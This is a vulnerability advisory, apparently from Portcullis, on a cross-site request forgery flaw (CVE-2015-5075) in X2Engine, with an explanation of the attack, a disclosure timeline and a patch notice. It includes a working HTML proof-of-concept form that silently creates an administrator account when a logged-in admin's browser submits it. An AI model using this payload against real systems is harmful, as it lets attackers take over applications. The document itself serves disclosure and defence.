Vulnerability title: Cross-Site Request Forgery In X2Engine Inc. X2Engine
|Reported by:||Simone Quatrini|
It was discovered that no protection against Cross-site Request Forgery attacks was implemented, resulting in an attacker being able to able to force the creation of a new administrative account.
Cross-site Request Forgery exploits the way in which HTTP and web browsers work.
Due to the fact that HTTP is a stateless protocol, and that web browsers will include all relevant cookies for the domain that a request is for, if an administrator user was logged into the application and the attacker sent a link that the administrator duly followed (or the attacker tricked them into following a link on a page), the administrator’s browser would include all cookies (including the session cookies) in the request. The attacker’s link would then be executed with administrator privileges.
This attack is not limited to sending malicious URLs to users; multiple different attack vectors exist to perform this attack in a more covert manner, such as embedding the attack within an invisible iFrame on a different page. Using the iFrame method it is also possible to submit both GET and POST requests.
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/x2engine/index.php/users/create" method="POST"> <input type="hidden" name="User[firstName]" value="John" /> <input type="hidden" name="User[lastName]" value="Smith" /> <input type="hidden" name="User[username]" value="adm1n" /> <input type="hidden" name="User[password]" value="letmein" /> <input type="hidden" name="User[userKey]" value="" /> <input type="hidden" name="User[title]" value="" /> <input type="hidden" name="User[department]" value="" /> <input type="hidden" name="User[officePhone]" value="" /> <input type="hidden" name="User[cellPhone]" value="" /> <input type="hidden" name="User[homePhone]" value="" /> <input type="hidden" name="User[address]" value="" /> <input type="hidden" name="User[backgroundInfo]" value="" /> <input type="hidden" name="User[emailAddress]" value="" /> <input type="hidden" name="User[status]" value="1" /> <input type="hidden" name="yt0" value="Create" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Exploit code is not required.
The vendor has released a patch.
|15/09/2014||Submitted initial contact via web form on X2Engine’s page|
|30/09/2014||Second initial contact message sent via web form|
|08/12/2014||Final chaser sent via their web form|
|20/01/2015||Automated response from the X2 website received on 08/12/2014. Attempting to contact the email address that it was sent from “firstname.lastname@example.org”. If no response by the end of the week will start forced disclosure process|
|21/01/2015||Initial vendor response, details over vulnerability sent|
|26/02/2015||Chaser sent to vendor|
|17/04/2015||Second chaser sent to vendor|
|08/06/2015||Chaser sent to vendor. Unsure if his emails are getting through to us as he stated that he has been replying|
|08/06/2015||Vendor responded stating that they needed vuln details even though I had sent them months ago|
|09/06/2015||Vendor is approximately 75% through fix and will have a patch out within the next few weeks|
|26/06/2015||MITRE assigned CVE-2015-5075|
|13/07/2015||Vendor asked for CVEs to add to their page. Should be ready for publish soon when they have given their clients time to patch|
|22/07/2015||Email from vendor stating that they released the fix for this on 13/07/2015 and asked when we would be disclosing|
|23/07/2015||Vendor has asked if we wait off until they release their next major update (At some point in the next 2 weeks). Confirmed this is fine and to contact us when they have a release date confirmed for it|
|24/08/2015||Replied to the vendor|
|26/08/2015||Vendor confirmed that they are ready for us to publish|
Copyright © Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.